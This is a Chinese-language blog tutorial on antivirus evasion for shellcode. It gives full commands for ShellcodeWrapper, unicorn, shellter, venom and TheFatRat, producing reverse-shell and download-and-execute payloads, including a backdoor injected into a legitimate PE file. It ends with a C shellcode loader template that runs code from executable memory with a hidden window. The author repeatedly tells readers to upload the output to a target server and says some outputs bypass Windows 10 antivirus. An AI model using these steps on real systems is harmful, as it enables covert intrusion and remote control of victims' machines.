zoukankan      html  css  js  c++  java
  • shellcode 免杀(一)

    工具免杀

    选择了几个简单或者近期还有更新的免杀工具进行学习

    ShellcodeWrapper

    项目地址

    https://github.com/Arno0x/ShellcodeWrapper

    该工具的原理是使用异或加密或者aes加密,做到混淆,进行免杀。

    先使用msfvenom生成raw格式文件

    msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw
    

    下面命令mi0 是密码随意写即可。

    python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor
    

    会生成3个文件,用C++编译的cpp文件,用python编译的py文件和用c#编译的cs文件

    直接丢到vs中把cpp编译生成exe文件即可,上传目标服务器。

    unicorn

    项目地址

    https://github.com/trustedsec/unicorn.git

    从github上下载下来就可以运行,使用方法非常简单

    支持生成ps1、macro、hta、dde等形式的代码和文件

    所有类型的使用方法如下

    Usage: 
    python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
    
    PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
    PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
    PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
    Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
    Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
    HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
    HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
    HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
    HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
    HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
    DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
    CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
    Custom PS1 Example: python unicorn.py <path to ps1 file>
    Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
    Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
    Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
    Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
    Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
    Generate .SettingContent-ms: python unicorn.py ms
    

    这里生产powershell的脚本

    python unicorn.py windows/meterpreter/reverse_tcp 192.168.2.1 4444 
    

    运行powershell的脚本即可

    shellter

    shellter使用的是PE文件注入的方式,测试kali和windows的版本,感觉windows的还要方便稳定一点

    windows版本下载地址

    https://www.shellterproject.com/download/

    以windows为例下载后直接运行shellter.exe

    主要一开始有2个模式,一个Auto一个manual

    Auto的选项要少很多,更加的方便,manual选项很多,可以自定义调用的混淆模块等参数

    Choose Operation Mode - Auto/Manual (A/M/H): A
    
    Perform Online Version Check? (Y/N/H): N
    
    #此处输入注入的PE文件,这里注入D盾
    PE Target: \vmware-hostShared FoldersMac 上的 mi0scriptkaliD_Safe_Manage.exe	
    
    ......(等待)
    
    #选择是否开启隐藏模式
    Enable Stealth Mode? (Y/N/H): N
    
    #选择回连payload的方式
    ************
    * Payloads *
    ************
    
    [1] Meterpreter_Reverse_TCP   [stager]
    [2] Meterpreter_Reverse_HTTP  [stager]
    [3] Meterpreter_Reverse_HTTPS [stager]
    [4] Meterpreter_Bind_TCP      [stager]
    [5] Shell_Reverse_TCP         [stager]
    [6] Shell_Bind_TCP            [stager]
    [7] WinExec
    
    #选择输入listed payload输入
    Use a listed payload or custom? (L/C/H): L
    
    #输入payload的编号
    Select payload by index: 1
    
    ***************************
    * meterpreter_reverse_tcp *
    ***************************
    #设置监听地址和端口
    SET LHOST: 192.168.2.1
    
    SET LPORT: 4444
    
    .....(等待生成成功即可)
    

    目标服务器上运行程序即可反弹shell(我这里用msf的模块监听即可收到shell)

    venom

    项目地址

    https://github.com/r00t-3xp10it/venom

    安装起来步骤比较繁琐,主要是依赖问题

    进入到目标文件夹

    sudo aux/setup.sh
    

    会帮你安装所有需要的依赖,之后运行

    sudo ./venom.sh
    

    选择目标的模块

                __    _ ______  ____   _  _____  ____    __
                   //|   ___||     | |/     |      /  |
                  // |   ___||     | ||     ||     /   |
                 \__/  |______||__/\____|\_____/|__/\__/|__|1.0.16
         USER:kali ENV:vm INTERFACE:eth0 ARCH:x64 DISTRO:Kali
        ╔─────────────────────────────────────────────────────────────╗
        ║   1 - Unix based payloads                                   ║
        ║   2 - Windows-OS payloads                                   ║
        ║   3 - Multi-OS payloads                                     ║
        ║   4 - Android|IOS payloads                                  ║
        ║   5 - Webserver payloads                                    ║
        ║   6 - Microsoft office payloads                             ║
        ║   7 - System built-in shells                                ║
        ║   8 - Amsi Evasion Payloads                                 ║
        ║                                                             ║
        ║   E - Exit Shellcode Generator                              ║
        ╚─────────────────────────────────────────────────────────────╣
                                                      SSARedTeam@2019_|
    [☠] Shellcode Generator
    [➽] Chose Categorie number: 2
    

    之后会弹出适应该模块的免杀方式以及生成文件格式,输入对应的编号即可

    之后分别会弹出接收shell的host输入框,接收shell的port输入框,反弹shell的payload选择框(都是msf的),输入生成文件的名字

    后面2个参数都选deafult默认即可

    参数输完之后,去vemon项目下的output中取生成的shell发送到目标服务器上运行即可

    注:windows 1的dll文件shell能够绕过windows 10自带病毒检测(这就很nice)

    运行dll可以使用以下命令

    rundll32.exe test.dll,main
    

    TheFatRad

    项目地址

    https://github.com/Screetsec/TheFatRat

    安装步骤很简单

    chmod +x setup.sh && ./setup.sh
    

    更新(更新后还要重新setup.sh一下)

    ./update && chmod +x setup.sh && ./setup.sh
    

    再检查下组件是否正常

    chmod +x chk_tools 
    ./chk_tools
    

    注意下即使组件正常也要安装names的python依赖,之后调用模块的时候会用到

    pip install names
    

    踩坑:我的环境是kali20.2,这个版本的kali使用的kali用户而不是root用户,用sudo pip安装了后,启动fatrat还是说找不到names模块,这时候需要sudo su切换到root用户进行names的安装

    在安装时会发现它还需要BDF这个免杀作为依赖

    在确定所有组件安装完毕后运行

    sudo ./fatrat
    

    稍等片刻进入界面

    2         ____                                                              
            |    |                                                             
            |____|                                                             
           _|____|_       _____ _       _____     _   _____     _              
            /  ee\_      |_   _| |_ ___|   __|___| |_| __  |___| |_            
          .<     __O       | | |   | -_|   __| .'|  _|    -| .'|  _|           
         / .-.'         |_| |_|_|___|__|  |___|_| |__|__|___|_|             
        J  .|'./                                                            
        | |_.|. | | |   [--]   Backdoor Creator for Remote Acces [--]          
         \__.' .|-' /   [--]  Created by: Edo Maland (Screetsec) [--]          
         L   /|o'--'   [--]            Version: 1.9.7           [--]          
         |  ///     [--]          Codename: Whistle          [--]          
         J /      .__ [--]   Follow me on Github: @Screetsec   [--]          
         J /      .__ [--]   Dracos Linux : @dracos-linux.org  [--]          
         |/         /   [--]                                     [--]          
                 .'.  [--]     SELECT AN OPTION TO BEGIN:      [--]          
        ____)_/\_(___. [--] .___________________________________[--]          
       (___._/  \_.___)'\_.-----------------------------------------/          
                                                                               
                                                                               
            [01]  Create Backdoor with msfvenom                                
            [02]  Create Fud 100% Backdoor with Fudwin 1.0                     
            [03]  Create Fud Backdoor with Avoid v1.2                          
            [04]  Create Fud Backdoor with backdoor-factory [embed]            
            [05]  Backdooring Original apk [Instagram, Line,etc]               
            [06]  Create Fud Backdoor 1000% with PwnWinds [Excelent]           
            [07]  Create Backdoor For Office with Microsploit                  
            [08]  Trojan Debian Package For Remote Acces [Trodebi]             
            [09]  Load/Create auto listeners                                   
            [10]  Jump to msfconsole                                           
            [11]  Searchsploit                                                 
            [12]  File Pumper [Increase Your Files Size]                       
            [13]  Configure Default Lhost & Lport                              
            [14]  Cleanup                                                      
            [15]  Help                                                         
            [16]  Credits                                                      
            [17]  Exit                                                         
                                                                               
     ┌─[TheFatRat]──[~]─[menu]:                                                
     └─────►2      
    

    这里官方推荐02和06模块,这里使用02的模块中的udp加壳

       _______ ___ ___ ______   ___ ___ ___ ______  
      |   _   |   Y   |   _   |   Y   |   |   _   
      |.  1___|.  |   |.  |   |.  |   |.  |.  |   |
      |.  __) |.  |   |.  |    |. /   |.  |.  |   |
      |:  |   |:  1   |:  1    |:      |:  |:  |   |
      |::.|   |::.. . |::.. . /|::.|:. |::.|::.|   |
       ---     ------- ------   --- --- --- --- ---   1.0
     
     Select one tool to create your Windows EXE FUD Rat 
     
    
     [ 1 ] - Powerstager 0.2.5 by z0noxz (powershell) (NEW)
     [ 2 ] - Slow But Powerfull (OLD)
     [ 3 ] - Return to menu
    
     ┌─[TheFatRat]──[~]─[FUDWIN]:
     └─────► 2
    

    会出现填写lhost和lport的提示框

    之后会等很长一段时间,生成exe文件,上传到目标服务器运行即可

    监听使用msf的windows/meterpreter/reverse_tcp)即可
    该免杀工具也能过win10的自带防火墙

    手动修改代码

    免杀思路:通过cs和msf生成后门文件,对生成的后门进行代码处理达到免杀

    避免弹出黑窗

    在编写c代码的时候可以加上该语句,则不会触发黑窗

    #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
    

    基本格式

    编译环境是VS 2019

    在运行前将编译器的栈缓冲区安全检查(/Gs) 、数据执行保护(DEP)以及代码优化关闭关闭

    关闭位置:

    代码优化:C/C++ --> 优化

    栈缓冲区安全检查(/Gs):C/C++ --> 代码生成 --> 安全检查

    数据执行保护(DEP):连接器 --> 高级 --> 数据执行保护

    我们可以使用下面的模板生成shellcode,将msf或者cs的shellcode放入到buf数组变量中即可。

    在运行前可以对buf中的字符进行处理达到免杀(之后会学习记录下如何手写shellcode)

    #include <windows.h>
    #include <iostream>
    #include <time.h>
    #pragma comment (lib, "winmm.lib")
    
    #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
    void startShellCode()
    {
    	unsigned char buf[] = "";
    
    	void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	memcpy(exec, buf, sizeof(buf));
    	((void(*)())exec)();
    }
    
    void main() {
    	startShellCode();
    }
    

  • 相关阅读:
    设计模式之责任链模式(Chain of Responsibility )
    Cubieboard2裸机开发之(二)板载LED交替闪烁
    Cubieboard2裸机开发之(一)点亮板载LED
    A20(Cubieboard2)启动过程浅析
    入手Cubieboard2之制作最小Linux系统
    ARM Linux启动代码分析
    Linux设备驱动剖析之Input(四)
    Linux设备驱动剖析之Input(三)
    Linux设备驱动剖析之Input(二)
    Linux设备驱动剖析之Input(一)
  • 原文地址:https://www.cnblogs.com/sijidou/p/13165756.html
Copyright © 2011-2022 走看看